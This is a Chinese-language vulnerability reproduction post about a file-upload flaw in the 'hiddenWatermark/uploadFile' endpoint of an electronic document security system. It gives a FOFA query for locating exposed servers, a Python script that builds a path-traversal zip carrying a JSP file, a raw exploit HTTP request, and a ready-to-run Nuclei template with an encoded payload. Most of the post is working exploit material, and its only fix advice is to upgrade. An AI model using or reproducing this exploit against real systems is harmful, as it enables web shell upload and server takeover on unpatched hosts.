免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
Ⅰ、漏洞描述
亿某通新一代电子文档安全管理系统(简称:CDG)是一款融合文档加密、数据分类分级、访问控制、关联分析、大数据分析、智能识别等核心技术的综合性数据智能安全产品。产品包括透明加密、智能加密、权限文档、数据分类分级、终端安全管理、文件外发管理、集团管控、数据安全网关、加解密接口中间件、U盘客户端十大核心组件,保护范围涵盖终端电脑(Windows、Mac和Linux系统平台)、智能终端(Android、IOS)以及各类应用系统(OA、知识管理、文档管理、项目管理、PDM等),能够对企业核心数据资产从生产、存储、流转、外发到销毁进行全生命周期保护。通过对"有意"、"无意"两种数据泄漏行为作统一防护,采用"事前主动防御,事中实时控制,事后及时追踪,全面防止泄密"的设计理念,配合身份鉴别、数据分类、密级标识、权限控制、应用集成、安全接入、风险预警以及行为审计等能力,全方位保障用户终端数据安全。
亿某通电子文档安全管理系统 hiddenWatermark/uploadFile接口处存在文件上传漏洞,恶意攻击者可能上传恶意文件进而获取服务器的控制权限
漏洞成因:恶意攻击者可以通过特定方式将文件上传到服务器的特定位置,获取系统权限,数据包中可能包含明显的目录遍历痕迹,如使用../等路径。攻击者通过这种方式尝试读取任意文件。
漏洞危害:恶意攻击者可能会利用此漏洞在服务器上执行恶意代码文件,或者上传执行勒索软件,导致数据泄露。
Ⅱ、fofa语句
body="/CDGServer3/index.jsp"
Ⅲ、漏洞复现
1、使用py文件构造压缩包脚本
import zipfile
def tests(evil_file_name, zip_data):
with zipfile.ZipFile(evil_file_name, 'w') as zip_file:
for key, value in zip_data.items():
print("Key:", key)
# 重命名文件
zip_info = zipfile.ZipInfo(key)
zip_info.compress_type = zipfile.ZIP_DEFLATED
zip_file.writestr(zip_info, value)
# 定义 zipData 字典
zip_data = {
"../../../js/ceshi.jsp": "<%\n out.println(\"Hello World!\");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>",
"theme/theme/theme1.xml": "<!--{\"FileName\":\"aaa\",\"FileSize\":\"222\",\"UserName\":\"aa\",\"Department\":\"aa\",\"UserID\":\"aa\",\"time\":\"123\"}-->"
}
try:
tests("ceshi.zip", zip_data)
except Exception as e:
print(e)
2、生成压缩包文件
POC
POST /CDGServer3/hiddenWatermark/uploadFile HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3lm0J8uEuFHxy191
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundary3lm0J8uEuFHxy191
Content-Disposition: form-data; name="doc"; filename="ceshi.zip"
Content-Type: application/zip
{{file(压缩包文件路径)}}
------WebKitFormBoundary3lm0J8uEuFHxy191--
1、构建poc
2、访问
https://127.0.0.1/CDGServer3/上传文件路径
https://127.0.0.1/CDGServer3/js/ceshi.jsp
Ⅳ、Nuclei-POC
id: CDG-hiddenWatermark-uploadFile-uploadfile
info:
name: 亿某通电子文档安全管理系统 hiddenWatermark/uploadFile接口处存在文件上传漏洞 攻击者可通过该漏洞在服务器端任意执行代码 写入后门, 获取服务器权限 进而控制整个 web 服务器
author: WLF
severity: high
metadata:
fofa-query: body="/CDGServer3/index.jsp"
variables:
filename: "{{to_lower(rand_base(10))}}"
boundary: "{{to_lower(rand_base(20))}}"
http:
- raw:
- |
POST /CDGServer3/hiddenWatermark/uploadFile HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3lm0J8uEuFHxy191
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
------WebKitFormBoundary3lm0J8uEuFHxy191
Content-Disposition: form-data; name="doc"; filename="{{filename}}.zip"
Content-Type: application/zip
{{base64_decode("UEsDBBQAAAAIAAAAIQD5T26PZgAAAHAAAAAVAAAALi4vLi4vLi4vanMvY2VzaGkuanNwHcgxDsIwDAXQnVOESpXixRcoYkSMCAZmq/0CIysOqVuuD2V879Dvki/BtWkJK7k7w8zT3ZtN+46Ggk96ySqszic1ZKnVdJRQL/xAXCF2kXjmhveCOba7oa2G+DcR8YSfkGlI/fELUEsDBBQAAAAIAAAAIQDGTjiHSQAAAGcAAAAWAAAAdGhlbWUvdGhlbWUvdGhlbWUxLnhtbLNR1NWtVnLLzEn1S8xNVbJSSkxMVNIBCwRnVoEEjIyMgAKhxalFcBVAvktqQWJRSW5qXglMBKTC0wXGK8kEqzU0Mlaq1dW1AwBQSwECFAAUAAAACAAAACEA+U9uj2YAAABwAAAAFQAAAAAAAAAAAAAAgAEAAAAALi4vLi4vLi4vanMvY2VzaGkuanNwUEsBAhQAFAAAAAgAAAAhAMZOOIdJAAAAZwAAABYAAAAAAAAAAAAAAIABmQAAAHRoZW1lL3RoZW1lL3RoZW1lMS54bWxQSwUGAAAAAAIAAgCHAAAAFgEAAAAA")}}
------WebKitFormBoundary3lm0J8uEuFHxy191--
- |
GET /CDGServer3/js/ceshi.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
matchers:
- type: dsl
dsl:
- status_code==200 && contains_all(body,"Hello World!")
Ⅴ、修复建议
升级至安全版本